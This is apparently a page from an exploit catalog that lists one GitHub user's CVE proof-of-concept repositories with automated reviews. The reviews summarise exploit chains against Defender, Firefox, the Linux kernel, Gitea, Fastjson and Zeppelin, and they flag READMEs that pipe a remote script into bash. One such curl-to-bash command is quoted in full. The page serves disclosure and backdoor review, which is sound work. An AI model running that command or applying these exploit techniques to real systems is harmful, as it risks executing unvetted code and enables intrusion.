HORKimhab
Source-scoped identity with 63 associated PoCs and 125 linked vulnerabilities.
Exploit catalog results
Showing 25 PoCs on this page
GitHubHORKimhab/CVE-2026-68820
Repository PoCStars: 1Created 2026-08-13Not analyzedCVE-2026-53413CVE-2026-688203 files
GitHubHORKimhab/CVE-2026-28956
Repository PoCStars: 0Created 2026-08-12Not analyzedCVE-2026-289564 files
GitHubHORKimhab/CVE-2026-50656
Repository PoCStars: 0Created 2026-08-12Model review verdict: Suspicious behavior.ExploitCVE-2026-5065617 files
AnalysisSuspicious behavior
Technical assessment
The artifact is a C++ exploit for CVE-2026-50656, a Microsoft Defender elevation of privilege vulnerability. It uses object manager symlinks, a cloud files placeholder, and a CLFS log file to trick Defender into quarantining a malicious DLL to a protected location (C:\Windows\System32\phoneinfo.dll). It then triggers a scheduled task to load the DLL, achieving code execution as NT AUTHORITY\SYSTEM.
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote script (`curl -fsSL ... | bash`) to 'clear nested dir .git' before using the project, but the script's content is not provided in the evidence. This instruction to pipe an uninspected remote script into bash is materially contradictory to the project's own documentation about safe, authorized use and creates a risk of concealed operator-side execution. The core exploit code (ShieldBreak.cpp) is a disclosed local privilege escalation against Microsoft Defender and contains no hidden unrelated payloads or data exfiltration.
Classification basis and observed behavior
Classification basis
The code actively exploits CVE-2026-50656 by performing a multi-stage attack: it sets up a symlink chain and cloud provider to redirect Defender's quarantine operation, plants a malicious DLL in a protected system directory, and triggers its execution via a scheduled task. This is a full exploit chain, not a scanner or writeup.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1048-1410Requirements
- Low-privileged user on a Windows system with Microsoft Defender installed.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1050-1054 - The file C:\Windows\System32\phoneinfo.dll must not exist before exploitation.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1050-1054
Observed behavior
- Creates a working directory and registers it as a cloud files sync root with a custom provider.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1062-1133 - Creates object manager directories and a symlink chain to redirect Defender's scan path to a CLFS log file.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1154-1171 - Initiates a Defender scan on a crafted path, causing Defender to detect a malicious file and quarantine it.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1221-1227 - Manipulates the CLFS log and cloud provider to redirect the quarantine write to C:\Windows\System32\phoneinfo.dll.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1266-1289 - Creates a WER report and triggers the QueueReporting scheduled task to load the planted DLL, achieving code execution.
ShieldBreak-MSNightmare/ShieldBreak.cpp:1310-1377
Behaviors behind the backdoor verdict
Flagged behaviors
- The README instructs the operator to execute a remote script via `curl -fsSL payload withheld | bash -s -- -y` to 'clear nested dir .git'. The content of this script is not provided in the evidence, and the instruction to pipe an uninspected remote script into bash contradicts the project's own safety warnings about authorized and isolated use.
README.md:30
Observables
- Url
- Payload withheldRemote script instructed to be piped into bash by the operator, content not provided in evidence.
README.md:30
What the analysis did not establish
- Binary files (Warden.dll, eicar_com.zip, Report.wer, ShieldBreak.aps, ShieldBreak.rc) were not analyzed; their content is opaque.
- The analysis is based solely on the provided text files; the exploit was not executed or verified.
- The content of the remote script at the gist URL is not included in the evidence, so its actual behavior cannot be determined.
- Five binary files (including Warden.dll and eicar_com.zip) are flagged as uninspected; their behavior is not analyzed.
- The analysis is limited to the three text files provided; other repository files are omitted.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-34348
Repository PoCStars: 0Created 2026-08-10ExploitCVE-2026-34348147 files
Analysis
Technical assessment
The artifact is a collection of PowerShell scripts and a C# application that together form an exploit for CVE-2026-34348. It captures WebAuthn assertion responses from the Windows Event Log and uses them to authenticate to Entra ID, effectively performing a pass-the-passkey attack.
Backdoor review
No backdoor observed in reviewed code
The reviewed evidence consists of PowerShell scripts and C# source files that implement a proof-of-concept for CVE-2026-34348, an information disclosure vulnerability in the Windows Event Logging Service. The scripts read WebAuthn assertion responses from the local event log and use them to authenticate to Entra ID. No concealed executable behavior, credential exfiltration to an external party, persistence mechanisms, or unrelated payloads were observed. The code operates within the stated scope of the vulnerability demonstration.
Classification basis and observed behavior
Classification basis
The scripts are explicitly described as exploits for CVE-2026-34348 and contain code to capture WebAuthn credentials from the event log and use them to authenticate to Entra ID, which is the core action of an exploit.
pass-the-passkey-SpecterOps/Src/Scripts/Get-PasskeyAssertionEvent.ps1:7pass-the-passkey-SpecterOps/Src/Scripts/Invoke-PasskeyCircuitBreaker.ps1:6pass-the-passkey-SpecterOps/Src/Scripts/Invoke-EntraPasskeyInjection.ps1:3Requirements
- Requires local or remote access to a Windows computer with the WebAuthN Operational event log.
pass-the-passkey-SpecterOps/Src/Scripts/Get-PasskeyAssertionEvent.ps1:3 - Requires an authorized user to perform a WebAuthn authentication to generate the event log entry.
pass-the-passkey-SpecterOps/Src/Scripts/Invoke-PasskeyCircuitBreaker.ps1:3-4
Observed behavior
- Fetches recent WebAuthn assertion responses from the local or remote computer's Event Log.
pass-the-passkey-SpecterOps/Src/Scripts/Get-PasskeyAssertionEvent.ps1:3 - Monitors the local computer's Event Log for new WebAuthn assertion responses and optionally suspends the browser process.
pass-the-passkey-SpecterOps/Src/Scripts/Invoke-PasskeyCircuitBreaker.ps1:3-5 - Authenticates to Entra ID using a provided Passkey (WebAuthn) assertion.
pass-the-passkey-SpecterOps/Src/Scripts/Invoke-EntraPasskeyInjection.ps1:3
Behaviors behind the backdoor verdict
Observables
- Command Execution
- Payload withheldREADME.md instructs the user to pipe a remote script into bash, which is a high-risk pattern, but the instruction is part of the repository's own setup documentation and does not constitute hidden backdoor behavior within the supplied artifact files.
README.md:30
What the analysis did not establish
- Evidence coverage is limited to selected text files; 133 unclassified files and 6 non-text media files were not inspected.
- The artifact's complete_artifact_coverage is false, so the analysis is based on a subset of the repository.
- 139 files in the repository were omitted from the text evidence; their content was not reviewed.
- 6 non-text media files were present but not analyzed.
- Binary files were flagged as metadata-only and not inspected for embedded payloads.
- The review is limited to the supplied text excerpts and does not verify the behavior of the remote script referenced in the README.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-20685
Repository PoCStars: 0Created 2026-08-10Model review verdict: Suspicious behavior.WriteupCVE-2026-206853 files
AnalysisSuspicious behavior
Technical assessment
The artifact is a README file for a repository associated with CVE-2026-20685. It contains a template for project setup, a security disclaimer, and references to external technical analysis, but does not include any exploit or scanner code.
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote script via `curl ... | bash` to 'clear nested dir .git', but the script's content is not provided for review. This instruction is materially concealed from the operator and its purpose is unexplained, creating a risk of executing harmful code.
Classification basis and observed behavior
Classification basis
The supplied evidence consists of a single README.md file. It contains no executable code, no proof-of-concept exploit, and no scanner logic. It describes the repository as an 'Educational Security Research Repository' and provides only a generic project setup template and links to external resources. This constitutes a writeup or documentation stub, not an exploit or scanner.
README.md:1-131Observed behavior
- The README provides generic instructions for cloning a repository, setting up a Python virtual environment, and installing dependencies.
README.md:24-44 - The README references a blog post and a GitHub Gist as sources of technical information for the vulnerability.
README.md:66-67
Behaviors behind the backdoor verdict
Flagged behaviors
- The README instructs the operator to download and execute a remote script using `curl -fsSL payload withheld | bash -s -- -y`. The script's content is not included in the evidence, and the stated purpose ('clear nested dir .git') is materially unexplained and does not justify a remote execution pattern. This conceals the script's behavior from the operator.
README.md:60
Observables
- Remote Script Url
- Payload withheldA remote script URL that the README instructs the operator to pipe directly into bash. The script's content is not provided in the evidence, making its behavior unverifiable.
README.md:60
What the analysis did not establish
- The evidence packet contains only the README.md file out of 3 total files in the repository. The other 2 files are omitted, so the full content of the repository is unknown.
- The analysis is based solely on the supplied text; no code was executed or verified.
- The content of the remote script at the cited URL is not included in the evidence, so its actual behavior cannot be reviewed.
- Two files (total 2952 bytes) were omitted from the evidence, which may contain additional context or code.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-64638
Repository PoCStars: 0Created 2026-08-07ScannerCVE-2026-646385 files
Analysis
Technical assessment
The artifact is a Python script (cve-2026-64638.py) that provides two modes: 'scan' to detect vulnerable WordPress sites and 'exploit' to generate an HTML file. The scan mode checks for WordPress, tests an XSS payload, and verifies prerequisites, classifying targets as vulnerable. The exploit mode generates a static HTML page that simulates an attack chain but does not autonomously execute the exploit; it requires manual hosting and victim interaction. The primary operation is detection and reporting, making it a scanner.
Backdoor review
No backdoor observed in reviewed code
The repository contains a Python scanner/exploit generator for CVE-2026-64638 (WordPress XSS) and a README. The Python code performs vulnerability scanning and generates HTML exploit pages for authorized testing. No backdoor, concealed harmful behavior, or unrelated payload was observed. The code's actions are consistent with the stated educational purpose.
Classification basis and observed behavior
Classification basis
The script's primary function is to scan for vulnerability indicators (WordPress detection, XSS payload test, endpoint checks) and report results. The 'exploit' mode only generates a static HTML file that requires manual hosting and victim interaction; it does not autonomously exploit the target. This aligns with a scanner classification.
cve-2026-64638.py:49-55cve-2026-64638.py:60-69cve-2026-64638.py:500-520Requirements
- Target must be a WordPress site with vulnerable version (<7.0.3) and accessible REST API and application password endpoint.
cve-2026-64638.py:210-215 - For exploit mode, an attacker-controlled URL is required to host the generated HTML file.
cve-2026-64638.py:600-601
Observed behavior
- Scans a target URL to detect WordPress, version, XSS vulnerability via crafted login POST, and availability of application password and REST API endpoints.
cve-2026-64638.py:146-229 - Generates a static HTML file containing JavaScript that simulates an XSS-to-RCE chain, but does not automatically execute it; the file must be manually hosted and visited by a victim.
cve-2026-64638.py:240-409 - Outputs scan results to a JSON file and prints a summary of vulnerable targets.
cve-2026-64638.py:431-466
Behaviors behind the backdoor verdict
Observables
- Url
- Payload withheldREADME instructs users to run a remote script via curl piped to bash to clear nested .git directories. This is a high-risk practice but is presented openly as a cleanup step, not concealed.
README.md:74 - Url
- Payload withheldREADME includes a PayPal donation link. This is a common open-source practice and not a backdoor.
README.md:7
What the analysis did not establish
- Evidence includes only two text files (README.md and cve-2026-64638.py) out of five total files; three files are omitted and unclassified, potentially containing additional context.
- The artifact's exploit HTML generation is incomplete for a full RCE chain (e.g., plugin upload is stubbed with a comment).
- No runtime behavior or execution output is provided; analysis is based solely on static code review.
- Three files (total 5) were omitted from text content; their metadata only was reported. The omitted files could contain unobserved behavior.
- The remote script at the gist URL was not provided and its content is unknown.
- Binary analysis was not performed; the artifact was classified as text-only.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-44613
Repository PoCStars: 1Created 2026-08-07Model review verdict: Suspicious behavior.ExploitCVE-2026-446134 files
AnalysisSuspicious behavior
Technical assessment
A Python script that serves a malicious HTML page. The page uses JavaScript to make cross-origin requests to a target Apache Zeppelin instance, exploiting a CSRF vulnerability (CVE-2026-44613) to perform unauthorized actions like creating notebooks and modifying interpreter settings on behalf of an authenticated user.
Backdoor review
Suspicious behaviorThe PoC for CVE-2026-44613 serves a malicious HTML page to demonstrate a CSRF attack against a local Apache Zeppelin instance. The README instructs the operator to run a command (`payload withheld`) that downloads and executes an uninspected remote script, claiming it is needed to 'clear nested dir .git'. This materially contradicts the stated educational purpose and introduces an unexplained, operator-targeted execution risk.
Classification basis and observed behavior
Classification basis
The artifact contains a functional Python script that serves a malicious HTML page. The JavaScript in the page actively makes cross-origin requests to a target Zeppelin instance to perform state-changing actions (creating notebooks, modifying interpreter settings) on behalf of an authenticated user. This is code intended to exercise a vulnerability, meeting the definition of an exploit.
cve-2026-44613.py:1-255cve-2026-44613.py:3-6cve-2026-44613.py:56-78cve-2026-44613.py:127-136Requirements
- A vulnerable Apache Zeppelin instance (versions 0.6.0 through 0.12.0) must be running and accessible.
cve-2026-44613.py:8-9 - The victim must be authenticated to the Zeppelin instance in the same browser used to visit the attacker's page.
cve-2026-44613.py:13-15
Observed behavior
- Starts an HTTP server on localhost:8000 that serves a malicious HTML page.
cve-2026-44613.py:232-239cve-2026-44613.py:244-255 - The malicious page uses JavaScript fetch() with credentials: 'include' to make cross-origin requests to the Zeppelin API, bypassing CSRF protections.
cve-2026-44613.py:56-78 - Performs reconnaissance by fetching API version, notebooks, interpreters, and user information.
cve-2026-44613.py:114-121 - Creates new notebooks via POST requests to /api/notebook.
cve-2026-44613.py:127-136 - Creates notebooks with initial paragraphs, including a shell command paragraph.
cve-2026-44613.py:143-155 - Attempts to create and restart interpreter settings.
cve-2026-44613.py:163-176
Behaviors behind the backdoor verdict
Flagged behaviors
- The README instructs the operator to download and execute a remote script via `curl ... | bash -s -- -y` to 'clear nested dir .git'. The script content is not provided, and the instruction is unrelated to the disclosed CSRF PoC. This is a material contradiction with the artifact's educational and authorized-use claims, as it directs the operator to run uninspected code from an external source.
README.md:60
Observables
- Url
- Payload withheldRemote script URL that the README instructs the operator to pipe into bash. The script content is not included in the evidence, and its behavior is unknown.
README.md:60 - Command
- Payload withheldFull command that downloads and executes a remote script on the operator's machine. The stated purpose ('clear nested dir .git') is not a standard or necessary step for using the PoC and is not explained further.
README.md:60
What the analysis did not establish
- The evidence includes only two of four repository files; the other two files (likely requirements.txt and a shell script) are omitted, so their content is unknown.
- The analysis is based solely on static review of the provided source code; the code was not executed, and its actual behavior in a live environment is not verified.
- The content of the remote script at the gist URL is not included in the evidence, so its actual behavior cannot be assessed.
- Two files (requirements.txt and a shell script) are present in the repository but their content is omitted, limiting full review of the artifact.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2022-31626-CVE-2024-2961-CVE-2019-6977
Repository PoCStars: 0Created 2026-08-06Not analyzedCVE-2019-6977CVE-2022-31626CVE-2024-2961103 files
GitHubHORKimhab/CVE-2020-7882
Repository PoCStars: 0Created 2026-07-30WriteupCVE-2020-78823 files
Analysis
Technical assessment
The artifact is a README file for a repository associated with CVE-2020-7882. It contains educational and legal disclaimers, setup instructions for a Python project, and references to the vulnerability, but no exploit or scanner code is present in the supplied text.
Backdoor review
Backdoor review undetermined
The supplied evidence consists solely of a README.md file containing documentation, a donation link, and setup instructions. No exploit code, payload, or executable logic is present in the reviewed text. The README instructs the operator to run a remote script via `payload withheld`, but the content of that script is not included in the evidence. Without the script's content, it is impossible to determine whether it contains backdoor behavior. The artifact is classified as containing no PoC code, and the critical executable behavior is omitted.
Classification basis and observed behavior
Classification basis
The supplied evidence consists solely of a README.md file. It contains no executable code, no proof-of-concept exploit, and no scanner logic. It provides a reference to CVE-2020-7882 and setup instructions, which constitutes a substantive technical analysis or writeup about the vulnerability context, albeit minimal.
README.md:1-131Observed behavior
- The README provides instructions for cloning the repository, setting up a Python virtual environment, and installing dependencies.
README.md:24-43 - The README includes a reference to CVE-2020-7882 and a link to a GitHub Gist.
README.md:66-67 - The README contains extensive legal disclaimers and states the repository is for educational and authorized security research only.
README.md:77-131
Behaviors behind the backdoor verdict
Observables
- Remote Script Execution
- Payload withheldThe README instructs the operator to download and execute a remote script, but the script's content is not provided in the evidence, preventing review of its behavior.
README.md:60
What the analysis did not establish
- Only the README.md file was supplied; two other text files in the repository were omitted from the evidence packet.
- The README references a GitHub Gist and external resources that were not provided.
- The artifact's classification as a writeup is based solely on the README content; the omitted files could contain exploit or scanner code.
- Only the README.md file was provided; two other text files in the repository were omitted from the evidence.
- The remote script referenced in the README (gist.githubusercontent.com) is not included, so its behavior cannot be analyzed.
- No exploit code, payload, or executable logic is present in the reviewed text.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-10702
Repository PoCStars: 1Created 2026-07-30Model review verdict: Suspicious behavior.ExploitCVE-2026-107028 files
AnalysisSuspicious behavior
Technical assessment
A full browser-based exploit for CVE-2026-10702 (JIT miscompilation in Firefox) targeting ARM64 Android. It achieves arbitrary read/write via JIT type confusion, leaks library base addresses, calls mprotect to make shellcode executable, and executes ARM64 shellcode to run arbitrary OS commands with output capture.
Backdoor review
Suspicious behaviorThe exploit code downloads and executes a remote payload based on the device fingerprint, but the payload source is a fixed, non-placeholder URL derived from the fingerprint string. The README instructs the operator to run a remote bash script that clears nested .git directories, which is an unexplained and potentially harmful concealment action. These behaviors are materially misrepresented or unexplained relative to the disclosed exploit functionality.
Classification basis and observed behavior
Classification basis
The artifact contains complete exploit code that exercises CVE-2026-10702 to achieve arbitrary code execution. It implements JIT type confusion for addrof/fakeobj, constructs arbitrary read/write primitives, bypasses memory protections via mprotect, and executes ARM64 shellcode to run OS commands. This is not a scanner or writeup; it actively exploits the vulnerability.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:543-1156Requirements
- Target must be Firefox 151.0 on ARM64 Android with specific libxul.so offsets.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:673-676 - Exploit requires user interaction to confirm device fingerprint and proceed.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:966-971
Observed behavior
- Leaks typed array shape and slots pointers via JIT type confusion in leakTypedWord.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:192-249 - Constructs a fake typed array object in a carrier object's slots to gain arbitrary read/write primitives.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:565-574 - Leaks the address of Array.isArray to compute libxul.so base and resolve mprotect GOT entry.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:678-688 - Overwrites a WASM function's unchecked entry slot with mprotect address, calls it to make shellcode buffer RWX.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:910-921 - Overwrites WASM unchecked entry with shellcode address and invokes it to execute ARM64 shellcode that runs arbitrary shell commands and captures output.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:924-952 - Downloads a kernel payload, writes it to disk, and executes it via LD_PRELOAD, polling for command output.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:980-1101
Behaviors behind the backdoor verdict
Flagged behaviors
- The exploit fetches a remote payload from a URL constructed from the device fingerprint string (selectedKernel) and writes it to disk, then executes it via LD_PRELOAD. The URL is not a user-configurable placeholder; it is automatically derived from the device ID, which is a fixed string for supported devices. This constitutes an automatic, non-transparent download and execution of an external payload.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:980-982CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:1094-1101
- The README instructs the operator to run a remote bash script (`curl -fsSL payload withheld | bash -s -- -y`) to 'clear nested dir .git'. This is an unexplained, potentially harmful action that modifies the operator's local environment and is not part of the disclosed exploit.
README.md:40
Observables
- Url
- Payload withheldRemote script executed on the operator's machine via the README instructions, claimed to clear nested .git directories.
README.md:40 - Url
- Payload withheldThe exploit fetches a remote kernel payload from this URL, which is not a user-configurable placeholder.
CyberMeowfia/IonStack/CVE-2026-10702/exploit.html:972-982
What the analysis did not establish
- Evidence does not include the kernel payload fetched at runtime; only the fetching and execution logic is present.
- Hardcoded offsets are specific to Firefox 151.0 ARM64 Android; portability is limited.
- The exploit requires user confirmation dialogs, so fully automated execution is not demonstrated.
- The content of the remote payload fetched by the exploit is not included in the evidence and cannot be reviewed.
- The behavior of the remote bash script in the README is not included in the evidence and cannot be reviewed.
- Four files in the repository are omitted from the text evidence, so their content is unknown.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-59726
Repository PoCStars: 0Created 2026-07-30Not analyzedCVE-2026-597264 files
GitHubHORKimhab/CVE-2026-33718
Repository PoCStars: 0Created 2026-07-29WriteupCVE-2026-337184 files
Analysis
Technical assessment
The artifact is a README file for a repository associated with CVE-2026-33718. It describes the vulnerability as a command injection in OpenHands, provides setup and usage instructions for a Python project, and includes educational and legal disclaimers. It contains no exploit or scanner code.
Backdoor review
Backdoor review undetermined
The supplied evidence consists solely of a README.md file containing documentation, a donation link, and setup instructions. No exploit code, payload, or executable logic is present. The README instructs the operator to run a remote script (`curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash`) to 'clear nested dir .git', but the content and behavior of that script are not provided in the evidence. Without the script's content, it is impossible to determine whether it performs the stated function or contains concealed harmful behavior. The artifact is classified as containing no PoC code, and no other files were included for review.
Classification basis and observed behavior
Classification basis
The only file provided is README.md, which contains a description of CVE-2026-33718 and generic project setup instructions. It does not include any code that exploits or scans for the vulnerability. The artifact is a technical writeup describing the vulnerability.
README.md:1-133Requirements
- Python virtual environment and dependencies must be installed
README.md:33-44
Observed behavior
- Describes a command injection vulnerability in OpenHands git diff handler
README.md:1-3 - Provides generic setup instructions for a Python project
README.md:26-58
Behaviors behind the backdoor verdict
Observables
- Remote Script Execution Instruction
- Payload withheldThe README instructs the operator to download and execute a remote script via a piped bash command. The script's content is not included in the evidence, so its behavior cannot be assessed.
README.md:62
What the analysis did not establish
- Only README.md was provided; 3 other text files were omitted from the evidence packet.
- The evidence packet reports complete_artifact_coverage is false, so the full repository content is not available for analysis.
- Only the README.md file was provided for review; three other files in the repository were omitted.
- The remote script at the gist URL is not included in the evidence, so its behavior cannot be verified.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-60004
Repository PoCStars: 4Created 2026-07-29Model review verdict: Suspicious behavior.ExploitCVE-2026-600046 files
AnalysisSuspicious behavior
Technical assessment
A Python script that exploits CVE-2026-60004 in Gitea to achieve remote code execution by delivering a malicious diff patch that installs a post-index-change hook, then fetches the command output via a crafted Git ref.
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote bash script (`curl -fsSL payload withheld | bash -s -- -y`) to 'clear nested dir .git' from other projects. This instruction is materially misrepresented as a routine cleanup step, but it downloads and executes an uninspected remote payload on the operator's machine. The core exploit code itself is a disclosed RCE PoC with no concealed harm.
Classification basis and observed behavior
Classification basis
The script actively exploits a vulnerability by delivering a crafted payload to the target, executing arbitrary commands, and retrieving the output. It is not a scanner (which would only detect) or a writeup (which would only describe).
cve-2026-60004.py:4cve-2026-60004.py:127-163cve-2026-60004.py:296-312cve-2026-60004.py:182-201Requirements
- Valid Gitea credentials (username and password) for the target instance.
cve-2026-60004.py:275-277 - Git executable (>= 2.32) available in the system PATH.
cve-2026-60004.py:391-394requirements.txt:2 - Target Gitea version must be vulnerable (not patched >= 1.27.1).
cve-2026-60004.py:221-237
Observed behavior
- Authenticates to the Gitea API using Basic auth.
cve-2026-60004.py:94-95cve-2026-60004.py:275-277 - Creates a private repository on the target Gitea instance.
cve-2026-60004.py:286-293 - Constructs a malicious diff patch containing a post-index-change Git hook that executes an attacker-supplied shell command.
cve-2026-60004.py:127-163 - Delivers the malicious patch to the Gitea diffpatch API endpoint twice to trigger hook installation.
cve-2026-60004.py:296-312 - Fetches the command output from the target repository by cloning a specially crafted ref that contains the hook's output.
cve-2026-60004.py:182-201 - Supports multi-target exploitation from a file and parallel execution using thread pool.
cve-2026-60004.py:332-346cve-2026-60004.py:456-461
Behaviors behind the backdoor verdict
Flagged behaviors
- README line 66 instructs the operator to download and execute a remote bash script via `curl ... | bash`, presented as a routine cleanup step for cloned projects. The script content is not provided, and the instruction is not disclosed as a remote code execution risk to the operator.
README.md:66
Observables
- Url
- Payload withheldRemote script downloaded and piped to bash on the operator's machine, presented as a cleanup step.
README.md:66
What the analysis did not establish
- Evidence includes only 3 of 6 repository files; 3 files are omitted (metadata only).
- CVE-2026-60004 record was absent from the acquired CVEList V5 dataset.
- The artifact is not executed; classification is based solely on static analysis of the provided source code.
- The content of the remote script at the gist URL is not included in the evidence, so its actual behavior is unknown.
- Three files (total 6) are omitted from the text evidence, but they are reported as non-text or metadata-only and are not required for this finding.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-53264
Repository PoCStars: 3Created 2026-07-28ExploitCVE-2026-5326410 files
Analysis
Technical assessment
A local privilege escalation exploit for CVE-2026-53264, a use-after-free vulnerability in the Linux kernel's net/sched action API. The exploit races filter addition and deletion to trigger a UAF on a tc_action struct, then uses heap spraying with user key payloads to achieve code execution, ultimately overwriting core_pattern to gain root.
Backdoor review
No backdoor observed in reviewed code
The supplied PoC code for CVE-2026-53264 is a standard Linux kernel local privilege escalation exploit. It uses a race condition in the netlink traffic control action API to trigger a use-after-free, then performs a heap spray and payload withheld. No backdoor, concealed operator-directed harm, or unrelated payload was observed. The code's behavior is consistent with the described vulnerability and typical exploit techniques.
Classification basis and observed behavior
Classification basis
The primary artifact poc.c contains a complete, multi-stage local privilege escalation exploit that actively triggers a use-after-free vulnerability, performs heap spraying, executes a ROP chain, and spawns a root shell. This is exploit code, not a scanner or writeup.
CVE/CVE-2026-53264/poc.c:628-652CVE/CVE-2026-53264/poc.c:377-384CVE/CVE-2026-53264/poc.c:430-461Requirements
- Unprivileged user namespaces must be enabled (CONFIG_USER_NS=y).
CVE/CVE-2026-53264/poc.c:670-674 - The target kernel must be vulnerable to CVE-2026-53264 (race condition in net/sched act_api).
CVE/CVE-2026-53264/poc.c:1 - The kernel must have a writable /proc/sys/kernel/core_pattern.
CVE/CVE-2026-53264/poc.c:678 - The attacker must be able to read dmesg or use a prefetch side-channel to leak KASLR base.
CVE/CVE-2026-53264/dmesg_msr_kaslr.c:104-125CVE/CVE-2026-53264/pwn_utils.cpp:126-191
Observed behavior
- Leaks the kernel base address (KASLR bypass) by parsing dmesg for a function pointer or using a prefetch side-channel.
CVE/CVE-2026-53264/dmesg_msr_kaslr.c:104-125CVE/CVE-2026-53264/pwn_utils.cpp:126-191 - Creates a user and network namespace to gain CAP_NET_ADMIN and unprivileged root within the namespace.
CVE/CVE-2026-53264/poc.c:77-99 - Sets up a clsact qdisc on the loopback interface and performs sanity checks for filter add/delete operations.
CVE/CVE-2026-53264/poc.c:687-712 - Spawns a deleter thread that continuously adds and deletes TC flower filters with gact actions to trigger the UAF race condition.
CVE/CVE-2026-53264/poc.c:478-530 - Spawns binder threads that send malformed filter add requests (with an invalid second action) to trigger the error path in tcf_action_init, while using timerfd+epoll to stall the kernel in the vulnerable refcount_inc_not_zero window.
CVE/CVE-2026-53264/poc.c:534-621 - Spawns spray threads that repeatedly update user keys with a crafted payload containing a ROP chain and a stack pivot gadget address, aiming to reclaim the freed tc_action slab memory.
CVE/CVE-2026-53264/poc.c:423-476 - Monitors /proc/sys/kernel/core_pattern for a successful overwrite, indicating the ROP chain executed and modified the core pattern to a pipe command.
CVE/CVE-2026-53264/poc.c:361-385 - Upon successful core_pattern overwrite, triggers a crash (NULL pointer dereference) to cause the kernel to execute the piped core_pattern handler, which re-executes the exploit binary with root privileges and spawns a root shell.
CVE/CVE-2026-53264/poc.c:377-384CVE/CVE-2026-53264/poc.c:637-652
Behaviors behind the backdoor verdict
Observables
- Exploit Technique
- Payload withheldThe exploit targets the vulnerability described in CVE-2026-53264, which is a race condition in the Linux kernel's traffic control action API leading to a use-after-free.
CVE/CVE-2026-53264/poc.c:108-117 - Exploit Technique
- Payload withheldThe exploit leaks the kernel base address using dmesg parsing and a prefetch-based timing side-channel, which is necessary for constructing the ROP chain.
CVE/CVE-2026-53264/dmesg_msr_kaslr.c:80-102CVE/CVE-2026-53264/pwn_utils.cpp:119-124 - Exploit Technique
- Payload withheldThe exploit sprays the kmalloc-256 slab with controlled data via the keyctl system call to place a fake tc_action structure for the use-after-free.
CVE/CVE-2026-53264/poc.c:403-421 - Exploit Technique
- Payload withheldThe exploit constructs a ROP chain that calls copy_from_user to overwrite the core_pattern sysctl, then triggers a crash to execute a root shell via the core dump handler.
CVE/CVE-2026-53264/poc.c:430-441CVE/CVE-2026-53264/poc.c:377-384 - Privilege Escalation
- Payload withheldAfter overwriting core_pattern, the exploit forks a child that crashes, causing the kernel to execute the exploit binary as root, which then spawns a root shell.
CVE/CVE-2026-53264/poc.c:637-652
What the analysis did not establish
- The evidence packet reports complete_artifact_coverage is false; 4 files (7225 bytes) are unclassified and not included in the selected text, so the analysis is based on the 6 provided text files.
- The provided text files are complete, but the repository may contain additional binary or non-text files that were not analyzed.
- Four files in the repository (unclassified, 7225 bytes) were not included in the text evidence; their content is unknown.
- Binary files were flagged as metadata-only and not analyzed; no binary content was inspected.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-4861
Repository PoCStars: 0Created 2026-07-27Not analyzedCVE-2026-17583CVE-2026-18577CVE-2026-27577CVE-2026-32194CVE-2026-34980CVE-2026-34990CVE-2026-4861CVE-2026-50055CVE-2026-54121CVE-2026-61511+1 linked vulnerability3 files
GitHubHORKimhab/CVE-2026-16723
Repository PoCStars: 1Created 2026-07-25Model review verdict: Suspicious behavior.ExploitCVE-2026-167235 files
AnalysisSuspicious behavior
Technical assessment
A Python script that exploits CVE-2026-16723 in Fastjson 1.2.83 by hosting a malicious JAR file and sending crafted JSON payloads to trigger remote code execution.
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote bash script (`curl -fsSL payload withheld | bash -s -- -y`) to 'clear nested dir .git' for cloned projects. This materially contradicts the artifact's own documentation, which states the repository is for educational and authorized security research and that the operator is responsible for their own actions. The instruction to pipe an uninspected remote script directly into bash is a deceptive and risky practice that is not disclosed as part of the CVE-2026-16723 exploit. The behavior of the remote script is not provided in the evidence, so concealed harm cannot be directly established, but the unexplained operator-directed execution of an external payload creates concern.
Classification basis and observed behavior
Classification basis
The script is designed to actively exploit a vulnerability by sending malicious payloads to a target to achieve remote code execution. It includes code to generate a payload (Evil class), host it, and deliver it via HTTP requests.
CVE-2026-16723.py:112-160Requirements
- A target running a vulnerable Fastjson version (1.2.68-1.2.83) with an endpoint that parses JSON input.
CVE-2026-16723.py:3 - Network connectivity between the attacker's HTTP server and the target.
CVE-2026-16723.py:128
Observed behavior
- Creates a malicious JAR file containing an Evil class that executes an arbitrary system command.
